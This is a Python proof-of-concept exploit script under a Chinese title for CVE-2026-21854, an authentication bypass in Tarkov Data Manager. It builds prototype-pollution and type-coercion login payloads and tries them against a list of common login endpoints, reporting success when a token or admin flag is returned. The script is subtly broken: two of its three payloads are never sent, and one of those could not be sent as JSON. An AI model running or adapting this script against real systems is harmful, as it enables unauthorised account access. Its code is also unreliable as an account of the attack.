CVE-2026-21854 Tarkov Data Manager认证绕过漏洞

import requests import json # CVE-2026-21854 Authentication Bypass PoC # Target: Tarkov Data Manager login endpoint def exploit_auth_bypass(target_url): """ Exploit the authentication bypass vulnerability in Tarkov Data Manager by leveraging JavaScript prototype pollution and loose equality comparison """ # Method 1: Prototype pollution with __proto__ property payload_proto = { "username": {"__proto__": {"isAdmin": True}}, "password": "any_password" } # Method 2: Loose equality type coercion bypass payload_coercion = { "username": "admin", "password": { "toString": lambda: "", "valueOf": lambda: True } } # Method 3: Combined prototype pollution and type confusion payload_combined = { "__proto__": { "constructor": { "prototype": { "admin": True } } }, "username": "", "password": { "__proto__": {"authenticated": True} } } endpoints = [ "/api/auth/login", "/api/login", "/auth/login", "/login" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Try prototype pollution attack try: response = requests.post(url, json=payload_proto, timeout=10) if response.status_code == 200: data = response.json() if data.get('admin') or data.get('isAdmin') or 'token' in data: print(f"[!] Auth bypass successful at {url}") print(f"[+] Response: {json.dumps(data, indent=2)}") return data except Exception as e: print(f"[-] Error testing {url}: {e}") return None if __name__ == "__main__": target = "https://tarkov-data-manager.example.com" result = exploit_auth_bypass(target) if result: print("\n[!] Vulnerability confirmed - Authentication bypassed") else: print("\n[-] Exploitation failed or target not vulnerable")